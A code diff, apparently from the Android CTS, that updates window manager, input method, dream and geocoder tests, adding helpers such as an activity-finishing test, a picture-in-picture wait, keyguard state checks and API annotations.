@@ -198,6 +202,28 @@
}
/**
+ * Verifies the behavior of {@link WindowContainerTransaction#finishActivity(IBinder)} to finish
+ * an Activity.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#finishActivity"})
+ public void testFinishActivity() {
+ // TODO(b/232476698) The TestApi is new. Remove the assume in the next release.
+ assumeExtensionVersionAtLeast2();
+
+ final Activity activity = startNewActivity();
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .finishActivity(getActivityToken(activity));
+ mTaskFragmentOrganizer.applyTransaction(wct);
+
+ mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+
+ assertTrue(activity.isDestroyed());
+ }
+
+ /**
* Verifies the visibility of an activity behind a TaskFragment that has the same
* bounds of the host Task.
*/
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java
index 1ec0a11..93b9aff 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTestBase.java
@@ -17,14 +17,17 @@
package android.server.wm;
import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
import static android.server.wm.WindowManagerState.STATE_RESUMED;
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
import android.app.Activity;
+import android.app.Instrumentation;
import android.content.ComponentName;
import android.content.Intent;
import android.content.res.Configuration;
@@ -33,6 +36,7 @@
import android.os.IBinder;
import android.server.wm.WindowContextTests.TestActivity;
import android.server.wm.WindowManagerState.WindowContainer;
+import android.server.wm.jetpack.utils.ExtensionUtil;
import android.util.ArrayMap;
import android.window.TaskFragmentCreationParams;
import android.window.TaskFragmentInfo;
@@ -41,6 +45,7 @@
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
import org.junit.After;
import org.junit.Before;
@@ -198,6 +203,23 @@
WINDOWING_MODE_UNDEFINED);
}
+ static Activity startNewActivity() {
+ return startNewActivity(TestActivity.class);
+ }
+
+ static Activity startNewActivity(Class<?> className) {
+ final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+ final Intent intent = new Intent(instrumentation.getTargetContext(), className)
+ .addFlags(FLAG_ACTIVITY_NEW_TASK);
+ return instrumentation.startActivitySync(intent);
+ }
+
+ /** For API changes that are introduced together with WM Extensions version 2. */
+ static void assumeExtensionVersionAtLeast2() {
+ // TODO(b/232476698) Remove in the next Android release.
+ assumeTrue(ExtensionUtil.getExtensionVersion().getMajor() >= 2);
+ }
+
public static class BasicTaskFragmentOrganizer extends TaskFragmentOrganizer {
private final static int WAIT_TIMEOUT_IN_SECOND = 10;
@@ -257,7 +279,13 @@
@NonNull
public TaskFragmentCreationParams generateTaskFragParams(@NonNull IBinder ownerToken,
@NonNull Rect bounds, int windowingMode) {
- return new TaskFragmentCreationParams.Builder(getOrganizerToken(), new Binder(),
+ return generateTaskFragParams(new Binder(), ownerToken, bounds, windowingMode);
+ }
+
+ @NonNull
+ public TaskFragmentCreationParams generateTaskFragParams(@NonNull IBinder fragmentToken,
+ @NonNull IBinder ownerToken, @NonNull Rect bounds, int windowingMode) {
+ return new TaskFragmentCreationParams.Builder(getOrganizerToken(), fragmentToken,
ownerToken)
.setInitialBounds(bounds)
.setWindowingMode(windowingMode)
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java
index 9fd1a41..5ec5b97 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java
@@ -21,12 +21,12 @@
import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.assumeActivityEmbeddingSupportedDevice;
import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertThrows;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
import android.app.Activity;
import android.content.ComponentName;
@@ -128,6 +128,8 @@
*/
@Test
public void testUntrustedModeTaskFragmentVisibility_reparentActivityInTaskFragment() {
+ // TODO(b/207070762): Remove after migration is done.
+ assumeFalse(ENABLE_SHELL_TRANSITIONS);
final Activity translucentActivity = startActivity(TranslucentActivity.class);
// Create a task fragment with activity in untrusted mode.
@@ -251,7 +253,7 @@
*/
@Test
public void testUntrustedModeTaskFragment_startActivityInTaskFragmentOutsideOfParentBounds() {
- Task parentTask = mWmState.getRootTask(mOwnerTaskId);
+ final Task parentTask = mWmState.getRootTask(mOwnerTaskId);
final Rect parentBounds = new Rect(parentTask.getBounds());
final IBinder errorCallbackToken = new Binder();
final WindowContainerTransaction wct = new WindowContainerTransaction()
@@ -266,11 +268,6 @@
// It is disallowed to start activity to TaskFragment with bounds outside of its parent
// in untrusted mode.
assertTaskFragmentError(errorCallbackToken, SecurityException.class);
-
- parentTask = mWmState.getRootTask(mOwnerTaskId);
- assertWithMessage("Activity must be started in parent Task because it's not"
- + " allowed to be embedded").that(parentTask.mActivities).contains(
- mWmState.getActivity(SECOND_UNTRUSTED_EMBEDDING_ACTIVITY));
}
/**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
index 1d9164d..7969243 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
@@ -33,7 +33,6 @@
import static org.hamcrest.Matchers.equalTo;
import static org.hamcrest.Matchers.hasItem;
-import static org.hamcrest.Matchers.hasSize;
import static org.hamcrest.Matchers.is;
import static org.hamcrest.Matchers.not;
import static org.hamcrest.Matchers.notNullValue;
@@ -51,6 +50,7 @@
import android.animation.ValueAnimator;
import android.app.Instrumentation;
import android.graphics.Insets;
+import android.os.Bundle;
import android.os.CancellationSignal;
import android.platform.test.annotations.Presubmit;
import android.server.wm.WindowInsetsAnimationTestBase.TestActivity;
@@ -105,7 +105,7 @@
@RunWith(Parameterized.class)
public class WindowInsetsAnimationControllerTests extends WindowManagerTestBase {
- TestActivity mActivity;
+ ControllerTestActivity mActivity;
View mRootView;
ControlListener mListener;
CancellationSignal mCancellationSignal = new CancellationSignal();
@@ -139,6 +139,16 @@
};
}
+ public static class ControllerTestActivity extends TestActivity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ // Ensure to set animation callback to null before starting a test. Otherwise, launching
+ // this activity might trigger some inset animation accidentally.
+ mView.setWindowInsetsAnimationCallback(null);
+ }
+ }
+
@Before
public void setUpWindowInsetsAnimationControllerTests() throws Throwable {
assumeFalse(
@@ -152,7 +162,8 @@
assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
nullValue());
- // For the best test stability MockIme should be selected before launching TestActivity.
+ // For the best test stability MockIme should be selected before launching
+ // ControllerTestActivity.
mMockImeSession = MockImeSession.create(
instrumentation.getContext(), instrumentation.getUiAutomation(),
new ImeSettings.Builder());
@@ -161,14 +172,15 @@
mockImeEventStream = null;
}
- mActivity = startActivityInWindowingMode(TestActivity.class, WINDOWING_MODE_FULLSCREEN);
+ mActivity = startActivityInWindowingMode(ControllerTestActivity.class,
+ WINDOWING_MODE_FULLSCREEN);
mRootView = mActivity.getWindow().getDecorView();
mListener = new ControlListener(mErrorCollector);
assumeTestCompatibility();
if (mockImeEventStream != null) {
- // TestActivity has a focused EditText. Hence MockIme should receive onStartInput() for
- // that EditText within a reasonable time.
+ // ControllerTestActivity has a focused EditText. Hence MockIme should receive
+ // onStartInput() for that EditText within a reasonable time.
expectEvent(mockImeEventStream,
editorMatcher("onStartInput", mActivity.getEditTextMarker()),
TimeUnit.SECONDS.toMillis(10));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
index 51033bb..bb83db1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
@@ -64,7 +64,6 @@
import com.android.compatibility.common.util.SystemUtil;
import com.android.compatibility.common.util.WindowUtil;
-import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
@@ -84,13 +83,11 @@
private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
- @Ignore("b/168446060")
@Test
public void testShowAndHide_renderSynchronouslyBetweenImeWindowAndAppContent() throws Throwable {
runTest(false /* useControlApi */);
}
- @Ignore("b/168446060")
@Test
public void testControl_rendersSynchronouslyBetweenImeWindowAndAppContent() throws Throwable {
runTest(true /* useControlApi */);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
index 86ec2fa..5c537e8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
@@ -256,7 +256,8 @@
waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
- assertFalse(getWmState().isWindowVisible("StatusBar"));
+ mWmState.computeState();
+ assertFalse(mWmState.isWindowVisible("StatusBar"));
verify(mActivity.mCallback).onPrepare(any());
verify(mActivity.mCallback).onStart(any(), any());
verify(mActivity.mCallback, atLeastOnce()).onProgress(any(), any());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
index 65465b2..8dc33b1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
@@ -59,6 +59,7 @@
import android.app.Instrumentation;
import android.content.Context;
import android.content.pm.PackageManager;
+import android.content.res.Resources;
import android.os.Bundle;
import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
@@ -226,6 +227,11 @@
final Instrumentation instrumentation = getInstrumentation();
assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
nullValue());
+ final Resources resources = instrumentation.getContext().getResources();
+ final boolean isHideNavBarForKeyboardEnabled = resources.getBoolean(
+ resources.getIdentifier("config_hideNavBarForKeyboard", "bool", "android"));
+ assumeFalse("Device is configured to not show navigation bar for keyboard",
+ isHideNavBarForKeyboardEnabled);
final MockImeSession imeSession = MockImeHelper.createManagedMockImeSession(this);
final ImeEventStream stream = imeSession.openEventStream();
final TestActivity activity = startActivityInWindowingModeFullScreen(TestActivity.class);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java b/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
index 5dc7ffe..208d94f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/intent/Activities.java
@@ -17,6 +17,7 @@
package android.server.wm.intent;
import android.app.Activity;
+import android.content.Intent;
import android.os.Bundle;
/**
@@ -40,6 +41,13 @@
}
public static class RegularActivity extends BaseActivity {
+ public boolean mIsOnNewIntentCalled = false;
+
+ @Override
+ protected void onNewIntent(Intent intent) {
+ super.onNewIntent(intent);
+ mIsOnNewIntentCalled = true;
+ }
}
public static class SingleTopActivity extends BaseActivity {
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 3ffda88..7bbb0f0 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -90,6 +90,7 @@
import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
import static android.server.wm.app.Components.LaunchingActivity.KEY_FINISH_BEFORE_LAUNCH;
import static android.server.wm.app.Components.PipActivity.ACTION_CHANGE_ASPECT_RATIO;
+import static android.server.wm.app.Components.PipActivity.ACTION_ENTER_PIP;
import static android.server.wm.app.Components.PipActivity.ACTION_EXPAND_PIP;
import static android.server.wm.app.Components.PipActivity.ACTION_SET_REQUESTED_ORIENTATION;
import static android.server.wm.app.Components.PipActivity.ACTION_UPDATE_PIP_STATE;
@@ -190,6 +191,8 @@
import java.util.List;
import java.util.Objects;
import java.util.UUID;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.function.BooleanSupplier;
import java.util.function.Consumer;
@@ -333,9 +336,9 @@
return "am start --activity-task-on-home -n " + getActivityName(activityName);
}
- protected static String getAmStartCmdWithDismissKeyguardIfInsecure(
+ protected static String getAmStartCmdWithDismissKeyguard(
final ComponentName activityName) {
- return "am start --dismiss-keyguard-if-insecure -n " + getActivityName(activityName);
+ return "am start --dismiss-keyguard -n " + getActivityName(activityName);
}
protected static String getAmStartCmdWithNoUserAction(final ComponentName activityName,
@@ -427,6 +430,19 @@
.putExtra(EXTRA_DISMISS_KEYGUARD_METHOD, true));
}
+ void enterPipAndWait() {
+ try {
+ final CompletableFuture<Boolean> future = new CompletableFuture<>();
+ final RemoteCallback remoteCallback = new RemoteCallback(
+ (Bundle result) -> future.complete(true));
+ mContext.sendBroadcast(createIntentWithAction(ACTION_ENTER_PIP)
+ .putExtra(EXTRA_SET_PIP_CALLBACK, remoteCallback));
+ assertTrue(future.get(5000, TimeUnit.MILLISECONDS));
+ } catch (Exception e) {
+ logE("enterPipAndWait failed", e);
+ }
+ }
+
void expandPip() {
mContext.sendBroadcast(createIntentWithAction(ACTION_EXPAND_PIP));
}
@@ -622,6 +638,8 @@
pressUnlockButton();
}
launchHomeActivityNoWait();
+ // TODO(b/242933292): Consider removing all the tasks belonging to android.server.wm
+ // instead of removing all and then waiting for allActivitiesResumed.
removeRootTasksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
runWithShellPermission(() -> {
@@ -631,6 +649,14 @@
// state.
mAtm.clearLaunchParamsForPackages(TEST_PACKAGES);
});
+
+ // removeRootTaskWithActivityTypes() removes all the tasks apart from home. In a few cases,
+ // the systemUI might have a few tasks that need to be displayed all the time.
+ // For such tasks, systemUI might have a restart-logic that restarts those tasks. Those
+ // restarts can interfere with the test state. To avoid that, its better to wait for all
+ // the activities to come in the resumed state.
+ mWmState.waitForWithAmState(WindowManagerState::allActivitiesResumed, "Root Tasks should "
+ + "be either empty or resumed");
}
/** It always executes after {@link org.junit.After}. */
@@ -818,8 +844,8 @@
mWmState.waitForValidState(activityName);
}
- protected void launchActivityWithDismissKeyguardIfInsecure(final ComponentName activityName) {
- executeShellCommand(getAmStartCmdWithDismissKeyguardIfInsecure(activityName));
+ protected void launchActivityWithDismissKeyguard(final ComponentName activityName) {
+ executeShellCommand(getAmStartCmdWithDismissKeyguard(activityName));
mWmState.waitForValidState(activityName);
}
@@ -1106,10 +1132,6 @@
return sIsTablet;
}
- protected boolean isOperatorTierDevice() {
- return hasDeviceFeature("com.google.android.tv.operator_tier");
- }
-
protected void waitAndAssertActivityState(ComponentName activityName,
String state, String message) {
mWmState.waitForActivityState(activityName, state);
diff --git a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateUtils.java b/tests/framework/base/windowmanager/util/src/android/server/wm/DeviceStateUtils.java
similarity index 92%
rename from tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateUtils.java
rename to tests/framework/base/windowmanager/util/src/android/server/wm/DeviceStateUtils.java
index df97832..55d0926 100644
--- a/tests/devicestate/src/android/hardware/devicestate/cts/DeviceStateUtils.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/DeviceStateUtils.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.hardware.devicestate.cts;
+package android.server.wm;
import static android.hardware.devicestate.DeviceStateManager.MAXIMUM_DEVICE_STATE;
import static android.hardware.devicestate.DeviceStateManager.MINIMUM_DEVICE_STATE;
@@ -26,7 +26,7 @@
import com.android.compatibility.common.util.SystemUtil;
import com.android.compatibility.common.util.ThrowingRunnable;
-/** Utility methods for {@DeviceStateManager} CTS tests. */
+/** Utility methods for CTS tests requiring the use of {@DeviceStateManager}. */
public final class DeviceStateUtils {
/**
* Runs the supplied {@code runnable} with the
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/DreamCoordinator.java b/tests/framework/base/windowmanager/util/src/android/server/wm/DreamCoordinator.java
index 3cdd57a..ced0497 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/DreamCoordinator.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/DreamCoordinator.java
@@ -25,14 +25,13 @@
import com.android.compatibility.common.util.SystemUtil;
public class DreamCoordinator {
- private Context mContext;
+ private final DreamManager mDreamManager;
+
private boolean mSetup;
private boolean mDefaultDreamServiceEnabled;
- private DreamManager mDreamManager;
public DreamCoordinator(Context context) {
- mContext = context;
- mDreamManager = mContext.getSystemService(DreamManager.class);
+ mDreamManager = context.getSystemService(DreamManager.class);
}
public final ComponentName getDreamActivityName(ComponentName dream) {
@@ -60,7 +59,7 @@
* Restores any settings changed by {@link #setup()}.
*/
public void restoreDefaults() {
- // If we have not setup the coordinator, do not do anything.
+ // If we have not set up the coordinator, do not do anything.
if (!mSetup) {
return;
}
@@ -76,24 +75,30 @@
() -> mDreamManager.setScreensaverEnabled(false));
}
- public void startDream(ComponentName name) {
- SystemUtil.runWithShellPermissionIdentity(() -> mDreamManager.startDream(name));
+ public void startDream() {
+ SystemUtil.runWithShellPermissionIdentity(() -> mDreamManager.startDream());
}
public void stopDream() {
- SystemUtil.runWithShellPermissionIdentity(() -> mDreamManager.stopDream());
+ SystemUtil.runWithShellPermissionIdentity(mDreamManager::stopDream);
}
- public ComponentName setActiveDream(ComponentName dream) {
+ public ComponentName setActiveDream(ComponentName dream) {
SystemUtil.runWithShellPermissionIdentity(() -> mDreamManager.setActiveDream(dream));
return getDreamActivityName(dream);
}
+ public ComponentName setSystemDream(ComponentName dream) {
+ SystemUtil.runWithShellPermissionIdentity(() ->
+ mDreamManager.setSystemDreamComponent(dream));
+ return dream == null ? null : getDreamActivityName(dream);
+ }
+
public void setDreamOverlay(ComponentName overlay) {
SystemUtil.runWithShellPermissionIdentity(() -> mDreamManager.setDreamOverlay(overlay));
}
public boolean isDreaming() {
- return SystemUtil.runWithShellPermissionIdentity(() -> mDreamManager.isDreaming());
+ return SystemUtil.runWithShellPermissionIdentity(mDreamManager::isDreaming);
}
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index adf308d..b9b0e19 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -955,6 +955,15 @@
.collect(Collectors.toList());
}
+ public boolean allActivitiesResumed() {
+ for (Task rootTask : mRootTasks) {
+ final Activity nonResumedActivity =
+ rootTask.getActivity((a) -> !a.state.equals(STATE_RESUMED));
+ if (nonResumedActivity != null) return false;
+ }
+ return true;
+ }
+
public boolean hasNotificationShade() {
computeState();
return !getMatchingWindowType(TYPE_NOTIFICATION_SHADE).isEmpty();
@@ -1204,27 +1213,23 @@
// don't treat them as regular root tasks
collectDescendantsOfTypeIf(Task.class, t -> t.isRootTask(), this,
mRootTasks);
- ArrayList<Task> rootOrganizedTasks = new ArrayList<>();
- for (int i = mRootTasks.size() -1; i >= 0; --i) {
+
+ ArrayList<Task> nonOrganizedRootTasks = new ArrayList<>();
+ for (int i = 0; i < mRootTasks.size(); i++) {
final Task task = mRootTasks.get(i);
- // Skip tasks created by an organizer
if (task.mCreatedByOrganizer) {
- mRootTasks.remove(task);
- rootOrganizedTasks.add(task);
+ // Get all tasks inside the root-task created by an organizer
+ List<Task> nonOrganizedDescendants = new ArrayList<>();
+ collectDescendantsOfTypeIf(Task.class, t -> !t.mCreatedByOrganizer, task,
+ nonOrganizedDescendants);
+ nonOrganizedRootTasks.addAll(nonOrganizedDescendants);
+ } else {
+ nonOrganizedRootTasks.add(task);
}
}
- // Add root tasks controlled by an organizer
- while (rootOrganizedTasks.size() > 0) {
- final Task task = rootOrganizedTasks.remove(0);
- for (int i = task.mChildren.size() - 1; i >= 0; i--) {
- final Task child = (Task) task.mChildren.get(i);
- if (!child.mCreatedByOrganizer) {
- mRootTasks.add(child);
- } else {
- rootOrganizedTasks.add(child);
- }
- }
- }
+
+ mRootTasks.clear();
+ mRootTasks.addAll(nonOrganizedRootTasks);
}
boolean containsActivity(ComponentName activityName) {
@@ -1784,12 +1789,14 @@
boolean aodShowing = false;
boolean keyguardShowing = false;
+ boolean mKeyguardGoingAway = false;
SparseArray<Boolean> mKeyguardOccludedStates = new SparseArray<>();
KeyguardControllerState(KeyguardControllerProto proto) {
if (proto != null) {
aodShowing = proto.aodShowing;
keyguardShowing = proto.keyguardShowing;
+ mKeyguardGoingAway = proto.keyguardGoingAway;
for (int i = 0; i < proto.keyguardPerDisplay.length; i++) {
mKeyguardOccludedStates.append(proto.keyguardPerDisplay[i].displayId,
proto.keyguardPerDisplay[i].keyguardOccluded);
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
index a203a84..13f3b72 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
@@ -189,6 +189,13 @@
"Keyguard showing and occluded");
}
+ void waitAndAssertWindowShown(int windowType, boolean show) {
+ assertTrue(waitFor(state -> {
+ WindowState w = state.findFirstWindowWithType(windowType);
+ return w != null && w.isSurfaceShown() == show;
+ }, "wait for window surface " + (show ? "show" : "hide")));
+ }
+
public void waitForAodShowing() {
waitForWithAmState(state -> state.getKeyguardControllerState().aodShowing, "AOD showing");
}
@@ -698,6 +705,8 @@
public void assertKeyguardShowingAndOccluded() {
assertTrue("Keyguard is showing",
getKeyguardControllerState().keyguardShowing);
+ assertFalse("keygaurd is not going away",
+ getKeyguardControllerState().mKeyguardGoingAway);
assertTrue("Keyguard is occluded",
getKeyguardControllerState().isKeyguardOccluded(DEFAULT_DISPLAY));
}
@@ -705,6 +714,8 @@
public void assertKeyguardShowingAndNotOccluded() {
assertTrue("Keyguard is showing",
getKeyguardControllerState().keyguardShowing);
+ assertFalse("keygaurd is not going away",
+ getKeyguardControllerState().mKeyguardGoingAway);
assertFalse("Keyguard is not occluded",
getKeyguardControllerState().isKeyguardOccluded(DEFAULT_DISPLAY));
}
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/EventTracker.java b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/EventTracker.java
index fae5657..d60fc0d 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/EventTracker.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/lifecycle/EventTracker.java
@@ -48,7 +48,11 @@
}
}
- void waitAndAssertActivityCurrentState(Class<? extends Activity> activityClass,
+ /**
+ * Blocking call that will wait and verify that the activity transition settles with the
+ * expected state.
+ */
+ public void waitAndAssertActivityCurrentState(Class<? extends Activity> activityClass,
String expectedState) {
final boolean waitResult = waitForConditionWithTimeout(() -> {
List<String> activityLog = mEventLog.getActivityLog(activityClass);
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
index ccd8659..8855dee 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/Watermark.java
@@ -32,7 +32,7 @@
*
* <p>See Bug 174534092 about why we ended up having this.</p>
*/
- private static final int TOLERANCE = 4;
+ private static final int TOLERANCE = 6;
/**
* A utility class that represents A8R8G8B bitmap as an integer array.
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java
index 8cc0b8e..c098ad0 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/StylusHandwritingTest.java
@@ -54,6 +54,7 @@
import androidx.test.platform.app.InstrumentationRegistry;
import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+import com.android.compatibility.common.util.ApiTest;
import com.android.cts.mockime.ImeEventStream;
import com.android.cts.mockime.ImeSettings;
import com.android.cts.mockime.MockImeSession;
@@ -147,6 +148,10 @@
}
@Test
+ @ApiTest(apis = {"android.view.inputmethod.InputMethodManager#startStylusHandwriting",
+ "android.inputmethodservice.InputMethodService#onPrepareStylusHandwriting",
+ "android.inputmethodservice.InputMethodService#onStartStylusHandwriting",
+ "android.inputmethodservice.InputMethodService#onFinishStylusHandwriting"})
public void testHandwritingStartAndFinish() throws Exception {
final InputMethodManager imm = mContext.getSystemService(InputMethodManager.class);
try (MockImeSession imeSession = MockImeSession.create(
@@ -157,13 +162,13 @@
final String marker = getTestMarker();
final EditText editText = launchTestActivity(marker);
+ expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
// Touch down with a stylus
final int x = 10;
final int y = 10;
TestUtils.injectStylusDownEvent(editText, x, y);
- expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
notExpectEvent(
stream,
editorMatcher("onStartInputView", marker),
@@ -209,6 +214,9 @@
* @throws Exception
*/
@Test
+ @ApiTest(apis = {"android.view.inputmethod.InputMethodManager#startStylusHandwriting",
+ "android.inputmethodservice.InputMethodService#onStylusMotionEvent",
+ "android.inputmethodservice.InputMethodService#onStartStylusHandwriting"})
public void testHandwritingStylusEvents_onStylusHandwritingMotionEvent() throws Exception {
testHandwritingStylusEvents(false /* verifyOnInkView */);
}
@@ -219,6 +227,9 @@
* @throws Exception
*/
@Test
+ @ApiTest(apis = {"android.view.inputmethod.InputMethodManager#startStylusHandwriting",
+ "android.inputmethodservice.InputMethodService#onStylusMotionEvent",
+ "android.inputmethodservice.InputMethodService#onStartStylusHandwriting"})
public void testHandwritingStylusEvents_dispatchToInkView() throws Exception {
testHandwritingStylusEvents(false /* verifyOnInkView */);
}
@@ -234,6 +245,7 @@
final String marker = getTestMarker();
final EditText editText = launchTestActivity(marker);
+ expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
final List<MotionEvent> injectedEvents = new ArrayList<>();
// Touch down with a stylus
@@ -241,7 +253,6 @@
final int startY = 10;
injectedEvents.add(TestUtils.injectStylusDownEvent(editText, startX, startY));
- expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
notExpectEvent(
stream,
editorMatcher("onStartInputView", marker),
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java b/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java
index 08ddca1..2baa2f1 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/GeocoderTest.java
@@ -33,10 +33,12 @@
import android.content.pm.PackageManager.ResolveInfoFlags;
import android.location.Geocoder;
import android.location.Geocoder.GeocodeListener;
+import android.platform.test.annotations.AppModeFull;
import androidx.test.core.app.ApplicationProvider;
import androidx.test.ext.junit.runners.AndroidJUnit4;
+import com.android.compatibility.common.util.ApiTest;
import com.android.compatibility.common.util.RetryRule;
import org.junit.Before;
@@ -73,6 +75,8 @@
}
}
+ @ApiTest(apis = "android.location.Geocoder#getFromLocation")
+ @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps")
@Test
public void testGetFromLocation() {
assumeTrue(Geocoder.isPresent());
@@ -82,6 +86,8 @@
verify(listener, timeout(10000)).onGeocode(anyList());
}
+ @ApiTest(apis = "android.location.Geocoder#getFromLocation")
+ @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps")
@Test
public void testGetFromLocation_sync() throws Exception {
assumeTrue(Geocoder.isPresent());
@@ -89,6 +95,8 @@
mGeocoder.getFromLocation(60, 30, 5);
}
+ @ApiTest(apis = "android.location.Geocoder#getFromLocation")
+ @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps")
@Test
public void testGetFromLocation_badInput() {
GeocodeListener listener = mock(GeocodeListener.class);
@@ -102,6 +110,8 @@
() -> mGeocoder.getFromLocation(10, 181, 5, listener));
}
+ @ApiTest(apis = "android.location.Geocoder#getFromLocationName")
+ @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps")
@Test
public void testGetFromLocationName() {
assumeTrue(Geocoder.isPresent());
